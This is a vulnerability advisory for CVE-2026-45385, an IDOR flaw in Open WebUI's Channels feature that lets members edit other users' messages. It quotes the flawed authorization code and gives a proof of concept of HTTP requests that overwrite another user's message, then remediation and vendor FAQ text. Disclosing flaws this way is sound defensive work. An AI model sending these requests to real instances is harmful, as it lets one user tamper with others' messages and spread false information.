CVE-2026-45385

An IDOR vulnerability exists in the Channels feature of Open WebUI, allowing any channel member to modify messages sent by other members (including administrators) within the same channel. This vulnerability affects the latest version (v0.8.12) of Open WebUI.

Details

In the update_message_by_id function, for group or dm type channels, only the caller's membership in the channel is checked via the is_user_channel_member function, without verifying message ownership. This allows any channel member to modify messages sent by other members within the same channel. The problematic code is as follows (https://github.com/open-webui/open-webui/blob/main/backend/open_webui/routers/channels.py#L1355) :

if channel.type in ['group', 'dm']:
    if not Channels.is_user_channel_member(channel.id, user.id, db=db):
        raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())
else:
    if (
        user.role != 'admin'
        and message.user_id != user.id
        and not channel_has_access(user.id, channel, permission='write', strict=False, db=db)
    ):
        raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())

try:
    message = Messages.update_message_by_id(message_id, form_data, db=db)

Non-group/dm types include a check for the user ID, while the group/dm type clearly lacks this verification.

PoC

The Channels feature is disabled by default and can be enabled first through the admin interface.

Create a group type channel with members including users test1 and test2.

POST /api/v1/channels/create HTTP/1.1
Content-Type: application/json

{
  "name": "idor-test-group",
  "type": "group",
  "user_ids": [
    "cfc3cb19-9e92-4bf7-8b72-1b47fe4ff62c",
    "b9997496-ff80-4c30-a366-95474f85e62b"
  ]
}

User test2 sends a message in the channel.

POST /api/v1/channels/9cff5240-6b22-4c85-bf74-b8dbfe471b16/messages/post HTTP/1.1
Content-Type: application/json
Authorization: Bearer <test2_token>

{"content":"This is test2 secret message"}

User test1 can directly modify the message that test2 just sent.

POST /api/v1/channels/9cff5240-6b22-4c85-bf74-b8dbfe471b16/messages/e0824c09-5712-4400-9b7a-b08eefcf15d3/update HTTP/1.1
Content-Type: application/json
Authorization: Bearer <test1_token>

{"content":"HACKED BY TEST1 - message tampered!"}

Messages sent by administrators can also be modified.

Malicious users can arbitrarily tamper with messages published by other users (including administrators), allowing them to disseminate false information.

CVE-2026-45385 has a CVSS score of 4.3 (Medium). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.9.5); upgrading removes the vulnerable code path.

Kodem intelligence

Add a message ownership check in the group/dm branch of channels.py.

1. What is CVE-2026-45385? CVE-2026-45385 is a medium-severity security vulnerability in open-webui (pip), affecting versions < 0.9.5. It is fixed in 0.9.5.
2. How severe is CVE-2026-45385? CVE-2026-45385 has a CVSS score of 4.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of open-webui are affected by CVE-2026-45385? open-webui (pip) versions < 0.9.5 is affected.
4. Is there a fix for CVE-2026-45385? Yes. CVE-2026-45385 is fixed in 0.9.5. Upgrade to this version or later.
5. Is CVE-2026-45385 exploitable, and should I be worried? Whether CVE-2026-45385 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-45385 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-45385? Upgrade open-webui to 0.9.5 or later.